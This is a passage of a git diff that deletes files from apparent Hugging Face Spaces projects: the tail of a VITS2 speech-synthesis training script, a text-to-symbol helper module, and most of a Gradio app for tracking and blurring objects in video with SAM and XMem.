-        print("Using duration discriminator for VITS2")
-        use_duration_discriminator = True
-        net_dur_disc = DurationDiscriminator(
-         hps.model.hidden_channels, 
-         hps.model.hidden_channels, 
-         3, 
-         0.1, 
-         gin_channels=hps.model.gin_channels if hps.data.n_speakers != 0 else 0,
-         ).cuda(rank)
-    if "use_spk_conditioned_encoder" in hps.model.keys() and hps.model.use_spk_conditioned_encoder == True:
-        if hps.data.n_speakers == 0:
-            raise ValueError("n_speakers must be > 0 when using spk conditioned encoder to train multi-speaker model")
-        use_spk_conditioned_encoder = True
-    else:
-        print("Using normal encoder for VITS1")
-        use_spk_conditioned_encoder = False
-
-    net_g = SynthesizerTrn(
-        len(symbols),
-        hps.data.filter_length // 2 + 1,
-        hps.train.segment_size // hps.data.hop_length,
-        n_speakers=hps.data.n_speakers,
-        mas_noise_scale_initial = mas_noise_scale_initial,
-        noise_scale_delta = noise_scale_delta,
-        **hps.model).cuda(rank)
-
-    freeze_enc = getattr(hps.model, "freeze_enc", False)
-    if freeze_enc:
-        print("freeze encoder !!!")
-        for param in net_g.enc_p.parameters():
-            param.requires_grad = False
-
-    net_d = MultiPeriodDiscriminator(hps.model.use_spectral_norm).cuda(rank)
-    optim_g = torch.optim.AdamW(
-        filter(lambda p: p.requires_grad, net_g.parameters()),
-        hps.train.learning_rate,
-        betas=hps.train.betas,
-        eps=hps.train.eps)
-    optim_d = torch.optim.AdamW(
-        net_d.parameters(),
-        hps.train.learning_rate,
-        betas=hps.train.betas,
-        eps=hps.train.eps)
-    if net_dur_disc is not None:
-        optim_dur_disc = torch.optim.AdamW(
-        net_dur_disc.parameters(),
-        hps.train.learning_rate,
-        betas=hps.train.betas,
-        eps=hps.train.eps)
-    else:
-        optim_dur_disc = None
-    net_g = DDP(net_g, device_ids=[rank], find_unused_parameters=True)
-    net_d = DDP(net_d, device_ids=[rank], find_unused_parameters=True)
-    if net_dur_disc is not None:
-        net_dur_disc = DDP(net_dur_disc, device_ids=[rank], find_unused_parameters=True)
-
-    pretrain_dir = None
-    if pretrain_dir is None:
-        try:
-            if net_dur_disc is not None:
-                _, optim_dur_disc, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "DUR_*.pth"), net_dur_disc, optim_dur_disc, skip_optimizer=not hps.cont)
-            _, optim_g, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "G_*.pth"), net_g,
-                                                   optim_g, skip_optimizer=not hps.cont)
-            _, optim_d, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(hps.model_dir, "D_*.pth"), net_d,
-                                                   optim_d, skip_optimizer=not hps.cont)
-            
-            epoch_str = max(epoch_str, 1)
-            global_step = (epoch_str - 1) * len(train_loader)
-        except Exception as e:
-            print(e)
-            epoch_str = 1
-            global_step = 0
-    else:
-        _, _, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(pretrain_dir, "G_*.pth"), net_g,
-                                                   optim_g, True)
-        _, _, _, epoch_str = utils.load_checkpoint(utils.latest_checkpoint_path(pretrain_dir, "D_*.pth"), net_d,
-                                                   optim_d, True)
-
-
-
-    scheduler_g = torch.optim.lr_scheduler.ExponentialLR(optim_g, gamma=hps.train.lr_decay, last_epoch=epoch_str - 2)
-    scheduler_d = torch.optim.lr_scheduler.ExponentialLR(optim_d, gamma=hps.train.lr_decay, last_epoch=epoch_str - 2)
-    if net_dur_disc is not None:
-        scheduler_dur_disc = torch.optim.lr_scheduler.ExponentialLR(optim_dur_disc, gamma=hps.train.lr_decay, last_epoch=epoch_str-2)
-    else:
-        scheduler_dur_disc = None
-    scaler = GradScaler(enabled=hps.train.fp16_run)
-
-    for epoch in range(epoch_str, hps.train.epochs + 1):
-        if rank == 0:
-            train_and_evaluate(rank, epoch, hps, [net_g, net_d, net_dur_disc], [optim_g, optim_d, optim_dur_disc], [scheduler_g, scheduler_d, scheduler_dur_disc], scaler, [train_loader, eval_loader], logger, [writer, writer_eval])
-        else:
-            train_and_evaluate(rank, epoch, hps, [net_g, net_d, net_dur_disc], [optim_g, optim_d, optim_dur_disc], [scheduler_g, scheduler_d, scheduler_dur_disc], scaler, [train_loader, None], None, None)
-        scheduler_g.step()
-        scheduler_d.step()
-        if net_dur_disc is not None:
-            scheduler_dur_disc.step()
-
-
-def train_and_evaluate(rank, epoch, hps, nets, optims, schedulers, scaler, loaders, logger, writers):
-    net_g, net_d, net_dur_disc = nets
-    optim_g, optim_d, optim_dur_disc = optims
-    scheduler_g, scheduler_d, scheduler_dur_disc = schedulers
-    train_loader, eval_loader = loaders
-    if writers is not None:
-        writer, writer_eval = writers
-
-    train_loader.batch_sampler.set_epoch(epoch)
-    global global_step
-
-    net_g.train()
-    net_d.train()
-    if net_dur_disc is not None:
-        net_dur_disc.train()
-    for batch_idx, (x, x_lengths, spec, spec_lengths, y, y_lengths, speakers, tone, language, bert) in tqdm(enumerate(train_loader)):
-        if net_g.module.use_noise_scaled_mas:
-            current_mas_noise_scale = net_g.module.mas_noise_scale_initial - net_g.module.noise_scale_delta * global_step
-            net_g.module.current_mas_noise_scale = max(current_mas_noise_scale, 0.0)
-        x, x_lengths = x.cuda(rank, non_blocking=True), x_lengths.cuda(rank, non_blocking=True)
-        spec, spec_lengths = spec.cuda(rank, non_blocking=True), spec_lengths.cuda(rank, non_blocking=True)
-        y, y_lengths = y.cuda(rank, non_blocking=True), y_lengths.cuda(rank, non_blocking=True)
-        speakers = speakers.cuda(rank, non_blocking=True)
-        tone = tone.cuda(rank, non_blocking=True)
-        language = language.cuda(rank, non_blocking=True)
-        bert = bert.cuda(rank, non_blocking=True)
-
-        with autocast(enabled=hps.train.fp16_run):
-            y_hat, l_length, attn, ids_slice, x_mask, z_mask, \
-                (z, z_p, m_p, logs_p, m_q, logs_q), (hidden_x, logw, logw_) = net_g(x, x_lengths, spec, spec_lengths, speakers, tone, language, bert)
-            mel = spec_to_mel_torch(
-                spec,
-                hps.data.filter_length,
-                hps.data.n_mel_channels,
-                hps.data.sampling_rate,
-                hps.data.mel_fmin,
-                hps.data.mel_fmax)
-            y_mel = commons.slice_segments(mel, ids_slice, hps.train.segment_size // hps.data.hop_length)
-            y_hat_mel = mel_spectrogram_torch(
-                y_hat.squeeze(1),
-                hps.data.filter_length,
-                hps.data.n_mel_channels,
-                hps.data.sampling_rate,
-                hps.data.hop_length,
-                hps.data.win_length,
-                hps.data.mel_fmin,
-                hps.data.mel_fmax
-            )
-
-            y = commons.slice_segments(y, ids_slice * hps.data.hop_length, hps.train.segment_size)  # slice
-
-            # Discriminator
-            y_d_hat_r, y_d_hat_g, _, _ = net_d(y, y_hat.detach())
-            with autocast(enabled=False):
-                loss_disc, losses_disc_r, losses_disc_g = discriminator_loss(y_d_hat_r, y_d_hat_g)
-                loss_disc_all = loss_disc
-            if net_dur_disc is not None:
-                y_dur_hat_r, y_dur_hat_g = net_dur_disc(hidden_x.detach(), x_mask.detach(), logw.detach(), logw_.detach())
-                with autocast(enabled=False):
-                 # TODO: I think need to mean using the mask, but for now, just mean all
-                    loss_dur_disc, losses_dur_disc_r, losses_dur_disc_g = discriminator_loss(y_dur_hat_r, y_dur_hat_g)
-                    loss_dur_disc_all = loss_dur_disc
-                optim_dur_disc.zero_grad()
-                scaler.scale(loss_dur_disc_all).backward()
-                scaler.unscale_(optim_dur_disc)
-                grad_norm_dur_disc = commons.clip_grad_value_(net_dur_disc.parameters(), None)
-                scaler.step(optim_dur_disc)
-
-        optim_d.zero_grad()
-        scaler.scale(loss_disc_all).backward()
-        scaler.unscale_(optim_d)
-        grad_norm_d = commons.clip_grad_value_(net_d.parameters(), None)
-        scaler.step(optim_d)
-
-        with autocast(enabled=hps.train.fp16_run):
-            # Generator
-            y_d_hat_r, y_d_hat_g, fmap_r, fmap_g = net_d(y, y_hat)
-            if net_dur_disc is not None:
-                y_dur_hat_r, y_dur_hat_g = net_dur_disc(hidden_x, x_mask, logw, logw_)
-            with autocast(enabled=False):
-                loss_dur = torch.sum(l_length.float())
-                loss_mel = F.l1_loss(y_mel, y_hat_mel) * hps.train.c_mel
-                loss_kl = kl_loss(z_p, logs_q, m_p, logs_p, z_mask) * hps.train.c_kl
-
-                loss_fm = feature_loss(fmap_r, fmap_g)
-                loss_gen, losses_gen = generator_loss(y_d_hat_g)
-                loss_gen_all = loss_gen + loss_fm + loss_mel + loss_dur + loss_kl
-                if net_dur_disc is not None:
-                    loss_dur_gen, losses_dur_gen = generator_loss(y_dur_hat_g)
-                    loss_gen_all += loss_dur_gen
-        optim_g.zero_grad()
-        scaler.scale(loss_gen_all).backward()
-        scaler.unscale_(optim_g)
-        grad_norm_g = commons.clip_grad_value_(net_g.parameters(), None)
-        scaler.step(optim_g)
-        scaler.update()
-
-        if rank == 0:
-            if global_step % hps.train.log_interval == 0:
-                lr = optim_g.param_groups[0]['lr']
-                losses = [loss_disc, loss_gen, loss_fm, loss_mel, loss_dur, loss_kl]
-                logger.info('Train Epoch: {} [{:.0f}%]'.format(
-                    epoch,
-                    100. * batch_idx / len(train_loader)))
-                logger.info([x.item() for x in losses] + [global_step, lr])
-
-                scalar_dict = {"loss/g/total": loss_gen_all, "loss/d/total": loss_disc_all, "learning_rate": lr,
-                               "grad_norm_d": grad_norm_d, "grad_norm_g": grad_norm_g}
-                scalar_dict.update(
-                    {"loss/g/fm": loss_fm, "loss/g/mel": loss_mel, "loss/g/dur": loss_dur, "loss/g/kl": loss_kl})
-                scalar_dict.update({"loss/g/{}".format(i): v for i, v in enumerate(losses_gen)})
-                scalar_dict.update({"loss/d_r/{}".format(i): v for i, v in enumerate(losses_disc_r)})
-                scalar_dict.update({"loss/d_g/{}".format(i): v for i, v in enumerate(losses_disc_g)})
-          
-                image_dict = {
-                    "slice/mel_org": utils.plot_spectrogram_to_numpy(y_mel[0].data.cpu().numpy()),
-                    "slice/mel_gen": utils.plot_spectrogram_to_numpy(y_hat_mel[0].data.cpu().numpy()),
-                    "all/mel": utils.plot_spectrogram_to_numpy(mel[0].data.cpu().numpy()),
-                    "all/attn": utils.plot_alignment_to_numpy(attn[0, 0].data.cpu().numpy())
-                }
-                utils.summarize(
-                    writer=writer,
-                    global_step=global_step,
-                    images=image_dict,
-                    scalars=scalar_dict)
-
-            if global_step % hps.train.eval_interval == 0:
-                evaluate(hps, net_g, eval_loader, writer_eval)
-                utils.save_checkpoint(net_g, optim_g, hps.train.learning_rate, epoch,
-                                      os.path.join(hps.model_dir, "G_{}.pth".format(global_step)))
-                utils.save_checkpoint(net_d, optim_d, hps.train.learning_rate, epoch,
-                                      os.path.join(hps.model_dir, "D_{}.pth".format(global_step)))
-                if net_dur_disc is not None:
-                    utils.save_checkpoint(net_dur_disc, optim_dur_disc, hps.train.learning_rate, epoch, os.path.join(hps.model_dir, "DUR_{}.pth".format(global_step)))    
-                keep_ckpts = getattr(hps.train, 'keep_ckpts', 5)
-                if keep_ckpts > 0:
-                    utils.clean_checkpoints(path_to_models=hps.model_dir, n_ckpts_to_keep=keep_ckpts, sort_by_time=True)
-
-
-        global_step += 1
-
-    if rank == 0:
-        logger.info('====> Epoch: {}'.format(epoch))
-
-
-
-def evaluate(hps, generator, eval_loader, writer_eval):
-    generator.eval()
-    image_dict = {}
-    audio_dict = {}
-    print("Evaluating ...")
-    with torch.no_grad():
-        for batch_idx, (x, x_lengths, spec, spec_lengths, y, y_lengths, speakers, tone, language, bert) in enumerate(eval_loader):
-            x, x_lengths = x.cuda(), x_lengths.cuda()
-            spec, spec_lengths = spec.cuda(), spec_lengths.cuda()
-            y, y_lengths = y.cuda(), y_lengths.cuda()
-            speakers = speakers.cuda()
-            bert = bert.cuda()
-            tone = tone.cuda()
-            language = language.cuda()
-            for use_sdp in [True, False]:
-                y_hat, attn, mask, *_ = generator.module.infer(x, x_lengths, speakers, tone, language, bert, y=spec, max_len=1000, sdp_ratio=0.0 if not use_sdp else 1.0)
-                y_hat_lengths = mask.sum([1, 2]).long() * hps.data.hop_length
-
-                mel = spec_to_mel_torch(
-                    spec,
-                    hps.data.filter_length,
-                    hps.data.n_mel_channels,
-                    hps.data.sampling_rate,
-                    hps.data.mel_fmin,
-                    hps.data.mel_fmax)
-                y_hat_mel = mel_spectrogram_torch(
-                    y_hat.squeeze(1).float(),
-                    hps.data.filter_length,
-                    hps.data.n_mel_channels,
-                    hps.data.sampling_rate,
-                    hps.data.hop_length,
-                    hps.data.win_length,
-                    hps.data.mel_fmin,
-                    hps.data.mel_fmax
-                )
-                image_dict.update({
-                    f"gen/mel_{batch_idx}": utils.plot_spectrogram_to_numpy(y_hat_mel[0].cpu().numpy())
-                })
-                audio_dict.update({
-                    f"gen/audio_{batch_idx}_{use_sdp}": y_hat[0, :, :y_hat_lengths[0]]
-                })
-                image_dict.update({f"gt/mel_{batch_idx}": utils.plot_spectrogram_to_numpy(mel[0].cpu().numpy())})
-                audio_dict.update({f"gt/audio_{batch_idx}": y[0, :, :y_lengths[0]]})
-
-    utils.summarize(
-        writer=writer_eval,
-        global_step=global_step,
-        images=image_dict,
-        audios=audio_dict,
-        audio_sampling_rate=hps.data.sampling_rate
-    )
-    generator.train()
-
-if __name__ == "__main__":
-    main()
diff --git a/spaces/XzJosh/Taffy-Bert-VITS2/text/__init__.py b/spaces/XzJosh/Taffy-Bert-VITS2/text/__init__.py
deleted file mode 100644
index 7566bf351ca9b95af9cdc6d729557a9da083800f..0000000000000000000000000000000000000000
--- a/spaces/XzJosh/Taffy-Bert-VITS2/text/__init__.py
+++ /dev/null
@@ -1,28 +0,0 @@
-from text.symbols import *
-
-
-_symbol_to_id = {s: i for i, s in enumerate(symbols)}
-
-def cleaned_text_to_sequence(cleaned_text, tones, language):
-  '''Converts a string of text to a sequence of IDs corresponding to the symbols in the text.
-    Args:
-      text: string to convert to a sequence
-    Returns:
-      List of integers corresponding to the symbols in the text
-  '''
-  phones = [_symbol_to_id[symbol] for symbol in cleaned_text]
-  tone_start = language_tone_start_map[language]
-  tones = [i + tone_start for i in tones]
-  lang_id = language_id_map[language]
-  lang_ids = [lang_id for i in phones]
-  return phones, tones, lang_ids
-
-def get_bert(norm_text, word2ph, language):
-  from .chinese_bert import get_bert_feature as zh_bert
-  from .english_bert_mock import get_bert_feature as en_bert
-  lang_bert_func_map = {
-    'ZH': zh_bert,
-    'EN': en_bert
-  }
-  bert = lang_bert_func_map[language](norm_text, word2ph)
-  return bert
diff --git a/spaces/Y-T-G/Blur-Anything/app.py b/spaces/Y-T-G/Blur-Anything/app.py
deleted file mode 100644
index 99f8b55031afda0b666229e83beb557ee73fb099..0000000000000000000000000000000000000000
--- a/spaces/Y-T-G/Blur-Anything/app.py
+++ /dev/null
@@ -1,880 +0,0 @@
-import os
-import time
-import requests
-import sys
-import json
-
-import gradio as gr
-import numpy as np
-import torch
-import torchvision
-import pims
-
-from export_onnx_model import run_export
-from onnxruntime.quantization import QuantType
-from onnxruntime.quantization.quantize import quantize_dynamic
-
-sys.path.append(sys.path[0] + "/tracker")
-sys.path.append(sys.path[0] + "/tracker/model")
-
-from track_anything import TrackingAnything
-from track_anything import parse_augment
-
-from utils.painter import mask_painter
-from utils.blur import blur_frames_and_write
-
-
-# download checkpoints
-def download_checkpoint(url, folder, filename):
-    os.makedirs(folder, exist_ok=True)
-    filepath = os.path.join(folder, filename)
-
-    if not os.path.exists(filepath):
-        print("Downloading checkpoints...")
-        response = requests.get(url, stream=True)
-        with open(filepath, "wb") as f:
-            for chunk in response.iter_content(chunk_size=8192):
-                if chunk:
-                    f.write(chunk)
-
-        print("Download successful.")
-
-    return filepath
-
-
-# convert points input to prompt state
-def get_prompt(click_state, click_input):
-    inputs = json.loads(click_input)
-    points = click_state[0]
-    labels = click_state[1]
-    for input in inputs:
-        points.append(input[:2])
-        labels.append(input[2])
-    click_state[0] = points
-    click_state[1] = labels
-    prompt = {
-        "prompt_type": ["click"],
-        "input_point": click_state[0],
-        "input_label": click_state[1],
-        "multimask_output": "False",
-    }
-    return prompt
-
-
-# extract frames from upload video
-def get_frames_from_video(video_input, video_state):
-    """
-    Args:
-        video_path:str
-        timestamp:float64
-    Return
-        [[0:nearest_frame], [nearest_frame:], nearest_frame]
-    """
-    video_path = video_input
-    frames = []
-    user_name = time.time()
-    operation_log = [
-        ("", ""),
-        (
-            "Video uploaded. Click the image for adding targets to track and blur.",
-            "Normal",
-        ),
-    ]
-    try:
-        frames = pims.Video(video_path)
-        fps = frames.frame_rate
-        image_size = (frames.shape[1], frames.shape[2])
-
-    except (OSError, TypeError, ValueError, KeyError, SyntaxError) as e:
-        print("read_frame_source:{} error. {}\n".format(video_path, str(e)))
-
-    # initialize video_state
-    video_state = {
-        "user_name": user_name,
-        "video_name": os.path.split(video_path)[-1],
-        "origin_images": frames,
-        "painted_images": [0] * len(frames),
-        "masks": [0] * len(frames),
-        "logits": [None] * len(frames),
-        "select_frame_number": 0,
-        "fps": fps,
-    }
-    video_info = "Video Name: {}, FPS: {}, Total Frames: {}, Image Size:{}".format(
-        video_state["video_name"], video_state["fps"], len(frames), image_size
-    )
-    model.samcontroler.sam_controler.reset_image()
-    model.samcontroler.sam_controler.set_image(video_state["origin_images"][0])
-    return (
-        video_state,
-        video_info,
-        video_state["origin_images"][0],
-        gr.update(visible=True, maximum=len(frames), value=1),
-        gr.update(visible=True, maximum=len(frames), value=len(frames)),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True),
-        gr.update(visible=True, value=operation_log),
-    )
-
-
-def run_example(example):
-    return video_input
-
-
-# get the select frame from gradio slider
-def select_template(image_selection_slider, video_state, interactive_state):
-    # images = video_state[1]
-    image_selection_slider -= 1
-    video_state["select_frame_number"] = image_selection_slider
-
-    # once select a new template frame, set the image in sam
-
-    model.samcontroler.sam_controler.reset_image()
-    model.samcontroler.sam_controler.set_image(
-        video_state["origin_images"][image_selection_slider]
-    )
-
-    # update the masks when select a new template frame
-    operation_log = [
-        ("", ""),
-        (
-            "Select frame {}. Try click image and add mask for tracking.".format(
-                image_selection_slider
-            ),
-            "Normal",
-        ),
-    ]
-
-    return (
-        video_state["painted_images"][image_selection_slider],
-        video_state,
-        interactive_state,
-        operation_log,
-    )
-
-
-# set the tracking end frame
-def set_end_number(track_pause_number_slider, video_state, interactive_state):
-    interactive_state["track_end_number"] = track_pause_number_slider
-    operation_log = [
-        ("", ""),
-        (
-            "Set the tracking finish at frame {}".format(track_pause_number_slider),
-            "Normal",
-        ),
-    ]
-
-    return (
-        interactive_state,
-        operation_log,
-    )
-
-
-def get_resize_ratio(resize_ratio_slider, interactive_state):
-    interactive_state["resize_ratio"] = resize_ratio_slider
-
-    return interactive_state
-
-
-def get_blur_strength(blur_strength_slider, interactive_state):
-    interactive_state["blur_strength"] = blur_strength_slider
-
-    return interactive_state
-
-
-# use sam to get the mask
-def sam_refine(
-    video_state, point_prompt, click_state, interactive_state, evt: gr.SelectData
-):
-    """
-    Args:
-        template_frame: PIL.Image
-        point_prompt: flag for positive or negative button click
-        click_state: [[points], [labels]]
-    """
-    if point_prompt == "Positive":
-        coordinate = "[[{},{},1]]".format(evt.index[0], evt.index[1])
-        interactive_state["positive_click_times"] += 1
-    else:
-        coordinate = "[[{},{},0]]".format(evt.index[0], evt.index[1])
-        interactive_state["negative_click_times"] += 1
-
-    # prompt for sam model
-    model.samcontroler.sam_controler.reset_image()
-    model.samcontroler.sam_controler.set_image(
-        video_state["origin_images"][video_state["select_frame_number"]]
-    )
-    prompt = get_prompt(click_state=click_state, click_input=coordinate)
-
-    mask, logit, painted_image = model.first_frame_click(
-        image=video_state["origin_images"][video_state["select_frame_number"]],
-        points=np.array(prompt["input_point"]),
-        labels=np.array(prompt["input_label"]),
-        multimask=prompt["multimask_output"],
-    )
-
-    video_state["masks"][video_state["select_frame_number"]] = mask
-    video_state["logits"][video_state["select_frame_number"]] = logit
-    video_state["painted_images"][video_state["select_frame_number"]] = painted_image
-
-    operation_log = [
-        ("", ""),
-        (
-            "Use SAM for segment. You can try add positive and negative points by clicking. Or press Clear clicks button to refresh the image. Press Add mask button when you are satisfied with the segment",
-            "Normal",
-        ),
-    ]
-    return painted_image, video_state, interactive_state, operation_log
-
-
-def add_multi_mask(video_state, interactive_state, mask_dropdown):
-    try:
-        mask = video_state["masks"][video_state["select_frame_number"]]
-        interactive_state["multi_mask"]["masks"].append(mask)
-        interactive_state["multi_mask"]["mask_names"].append(
-            "mask_{:03d}".format(len(interactive_state["multi_mask"]["masks"]))
-        )
-        mask_dropdown.append(
-            "mask_{:03d}".format(len(interactive_state["multi_mask"]["masks"]))
-        )
-        select_frame, run_status = show_mask(
-            video_state, interactive_state, mask_dropdown
-        )
-
-        operation_log = [
-            ("", ""),
-            (
-                "Added a mask, use the mask select for target tracking or blurring.",
-                "Normal",
-            ),
-        ]
-    except Exception:
-        operation_log = [
-            ("Please click the left image to generate mask.", "Error"),
-            ("", ""),
-        ]
-    return (
-        interactive_state,
-        gr.update(
-            choices=interactive_state["multi_mask"]["mask_names"], value=mask_dropdown
-        ),
-        select_frame,
-        [[], []],
-        operation_log,
-    )
-
-
-def clear_click(video_state, click_state):
-    click_state = [[], []]
-    template_frame = video_state["origin_images"][video_state["select_frame_number"]]
-    operation_log = [
-        ("", ""),
-        ("Clear points history and refresh the image.", "Normal"),
-    ]
-    return template_frame, click_state, operation_log
-
-
-def remove_multi_mask(interactive_state, mask_dropdown):
-    interactive_state["multi_mask"]["mask_names"] = []
-    interactive_state["multi_mask"]["masks"] = []
-
-    operation_log = [("", ""), ("Remove all mask, please add new masks", "Normal")]
-    return interactive_state, gr.update(choices=[], value=[]), operation_log
-
-
-def show_mask(video_state, interactive_state, mask_dropdown):
-    mask_dropdown.sort()
-    select_frame = video_state["origin_images"][video_state["select_frame_number"]]
-
-    for i in range(len(mask_dropdown)):
-        mask_number = int(mask_dropdown[i].split("_")[1]) - 1
-        mask = interactive_state["multi_mask"]["masks"][mask_number]
-        select_frame = mask_painter(
-            select_frame, mask.astype("uint8"), mask_color=mask_number + 2
-        )
-
-    operation_log = [
-        ("", ""),
-        ("Select {} for tracking or blurring".format(mask_dropdown), "Normal"),
-    ]
-    return select_frame, operation_log
-
-
-# tracking vos
-def vos_tracking_video(video_state, interactive_state, mask_dropdown):
-    operation_log = [
-        ("", ""),
-        (
-            "Track the selected masks, and then you can select the masks for blurring.",
-            "Normal",
-        ),
-    ]
-    model.xmem.clear_memory()
-    if interactive_state["track_end_number"]:
-        following_frames = video_state["origin_images"][
-            video_state["select_frame_number"]: interactive_state["track_end_number"]
-        ]
-    else:
-        following_frames = video_state["origin_images"][
-            video_state["select_frame_number"]:
-        ]
-
-    if interactive_state["multi_mask"]["masks"]:
-        if len(mask_dropdown) == 0:
-            mask_dropdown = ["mask_001"]
-        mask_dropdown.sort()
-        template_mask = interactive_state["multi_mask"]["masks"][
-            int(mask_dropdown[0].split("_")[1]) - 1
-        ] * (int(mask_dropdown[0].split("_")[1]))
-        for i in range(1, len(mask_dropdown)):
-            mask_number = int(mask_dropdown[i].split("_")[1]) - 1
-            template_mask = np.clip(
-                template_mask
-                + interactive_state["multi_mask"]["masks"][mask_number]
-                * (mask_number + 1),
-                0,
-                mask_number + 1,
-            )
-        video_state["masks"][video_state["select_frame_number"]] = template_mask
-    else:
-        template_mask = video_state["masks"][video_state["select_frame_number"]]
-
-    # operation error
-    if len(np.unique(template_mask)) == 1:
-        template_mask[0][0] = 1
-        operation_log = [
-            (
-                "Error! Please add at least one mask to track by clicking the left image.",
-                "Error",
-            ),
-            ("", ""),
-        ]
-        # return video_output, video_state, interactive_state, operation_error
-    output_path = "./output/track/{}".format(video_state["video_name"])
-    fps = video_state["fps"]
-    masks, logits, painted_images = model.generator(
-        images=following_frames, template_mask=template_mask, write=True, fps=fps,  output_path=output_path
-    )
-    # clear GPU memory
-    model.xmem.clear_memory()
-
-    if interactive_state["track_end_number"]:
-        video_state["masks"][
-            video_state["select_frame_number"]: interactive_state["track_end_number"]
-        ] = masks
-        video_state["logits"][
-            video_state["select_frame_number"]: interactive_state["track_end_number"]
-        ] = logits
-        video_state["painted_images"][
-            video_state["select_frame_number"]: interactive_state["track_end_number"]
-        ] = painted_images
-    else:
-        video_state["masks"][video_state["select_frame_number"]:] = masks
-        video_state["logits"][video_state["select_frame_number"]:] = logits
-        video_state["painted_images"][
-            video_state["select_frame_number"]:
-        ] = painted_images
-
-    interactive_state["inference_times"] += 1
-
-    print(
-        "For generating this tracking result, inference times: {}, click times: {}, positive: {}, negative: {}".format(
-            interactive_state["inference_times"],
-            interactive_state["positive_click_times"]
-            + interactive_state["negative_click_times"],
-            interactive_state["positive_click_times"],
-            interactive_state["negative_click_times"],
-        )
-    )
-
-    return output_path, video_state, interactive_state, operation_log
-
-
-def blur_video(video_state, interactive_state, mask_dropdown):
-    operation_log = [("", ""), ("Removed the selected masks.", "Normal")]
-
-    frames = np.asarray(video_state["origin_images"])[
-        video_state["select_frame_number"]:interactive_state["track_end_number"]
-    ]
-    fps = video_state["fps"]
-    output_path = "./output/blur/{}".format(video_state["video_name"])
-    blur_masks = np.asarray(video_state["masks"][video_state["select_frame_number"]:interactive_state["track_end_number"]])
-    if len(mask_dropdown) == 0:
-        mask_dropdown = ["mask_001"]
-    mask_dropdown.sort()
-    # convert mask_dropdown to mask numbers
-    blur_mask_numbers = [
-        int(mask_dropdown[i].split("_")[1]) for i in range(len(mask_dropdown))
-    ]
-    # interate through all masks and remove the masks that are not in mask_dropdown
-    unique_masks = np.unique(blur_masks)
-    num_masks = len(unique_masks) - 1
-    for i in range(1, num_masks + 1):
-        if i in blur_mask_numbers:
-            continue
-        blur_masks[blur_masks == i] = 0
-
-    # blur video
-    try:
-        blur_frames_and_write(
-            frames,
-            blur_masks,
-            ratio=interactive_state["resize_ratio"],
-            strength=interactive_state["blur_strength"],
-            fps=fps,
-            output_path=output_path
-        )
-    except Exception as e:
-        print("Exception ", e)
-        operation_log = [
-            (
-                "Error! You are trying to blur without masks input. Please track the selected mask first, and then press blur. To speed up, please use the resize ratio to scale down the image size.",
-                "Error",
-            ),
-            ("", ""),
-        ]
-
-    return output_path, video_state, interactive_state, operation_log
-
-
-# generate video after vos inference
-def generate_video_from_frames(frames, output_path, fps=30):
-    """
-    Generates a video from a list of frames.
-
-    Args:
-        frames (list of numpy arrays): The frames to include in the video.
-        output_path (str): The path to save the generated video.
-        fps (int, optional): The frame rate of the output video. Defaults to 30.
-    """
-
-    frames = torch.from_numpy(np.asarray(frames))
-    if not os.path.exists(os.path.dirname(output_path)):
-        os.makedirs(os.path.dirname(output_path))
-    torchvision.io.write_video(output_path, frames, fps=fps, video_codec="libx264")
-    return output_path
-
-
-# convert to onnx quantized model
-def convert_to_onnx(args, checkpoint, quantized=True):
-    """
-    Convert the model to onnx format.
-
-    Args:
-        model (nn.Module): The model to convert.
-        output_path (str): The path to save the onnx model.
-        input_shape (tuple): The input shape of the model.
-        quantized (bool, optional): Whether to quantize the model. Defaults to True.
-    """
-    onnx_output_path = f"{checkpoint.split('.')[-2]}.onnx"
-    quant_output_path = f"{checkpoint.split('.')[-2]}_quant.onnx"
-
-    print("Converting to ONNX quantized model...")
-
-    if not (os.path.exists(onnx_output_path)):
-        run_export(
-            model_type=args.sam_model_type,
-            checkpoint=checkpoint,
-            opset=16,
-            output=onnx_output_path,
-            return_single_mask=True
-        )
-
-    if quantized and not (os.path.exists(quant_output_path)):
-        quantize_dynamic(
-            model_input=onnx_output_path,
-            model_output=quant_output_path,
-            optimize_model=True,
-            per_channel=False,
-            reduce_range=False,
-            weight_type=QuantType.QUInt8,
-        )
-
-    return quant_output_path if quantized else onnx_output_path
-
-
-# args, defined in track_anything.py
-args = parse_augment()
-
-# check and download checkpoints if needed
-SAM_checkpoint_dict = {
-    "vit_h": "sam_vit_h_4b8939.pth",
-    "vit_l": "sam_vit_l_0b3195.pth",
-    "vit_b": "sam_vit_b_01ec64.pth",
-    "vit_t": "mobile_sam.pt",
-}
-SAM_checkpoint_url_dict = {
-    "vit_h": "https://dl.fbaipublicfiles.com/segment_anything/sam_vit_h_4b8939.pth",
-    "vit_l": "https://dl.fbaipublicfiles.com/segment_anything/sam_vit_l_0b3195.pth",
-    "vit_b": "https://dl.fbaipublicfiles.com/segment_anything/sam_vit_b_01ec64.pth",
-    "vit_t": "https://github.com/ChaoningZhang/MobileSAM/raw/master/weights/mobile_sam.pt",
-}
-sam_checkpoint = SAM_checkpoint_dict[args.sam_model_type]
-sam_checkpoint_url = SAM_checkpoint_url_dict[args.sam_model_type]
-xmem_checkpoint = "XMem-s012.pth"
-xmem_checkpoint_url = (
-    "https://github.com/hkchengrex/XMem/releases/download/v1.0/XMem-s012.pth"
-)
-
-# initialize SAM, XMem
-folder = "checkpoints"
-sam_pt_checkpoint = download_checkpoint(sam_checkpoint_url, folder, sam_checkpoint)
-xmem_checkpoint = download_checkpoint(xmem_checkpoint_url, folder, xmem_checkpoint)
-
-if args.sam_model_type == "vit_t":
-    sam_onnx_checkpoint = convert_to_onnx(args, sam_pt_checkpoint, quantized=True)
-else:
-    sam_onnx_checkpoint = ""
-
-model = TrackingAnything(sam_pt_checkpoint, sam_onnx_checkpoint, xmem_checkpoint, args)
-
-title = """
      Blur-Anything
      
-    """
-description = """
      Gradio demo for Blur Anything, a flexible and interactive
-              tool for video object tracking, segmentation, and blurring. To
-              use it, simply upload your video, or click one of the examples to
-              load them. Code: https://github.com/Y-T-G/Blur-Anything
-              Duplicate Space
      """
-
-
-with gr.Blocks() as iface:
-    """
-    state for
-    """
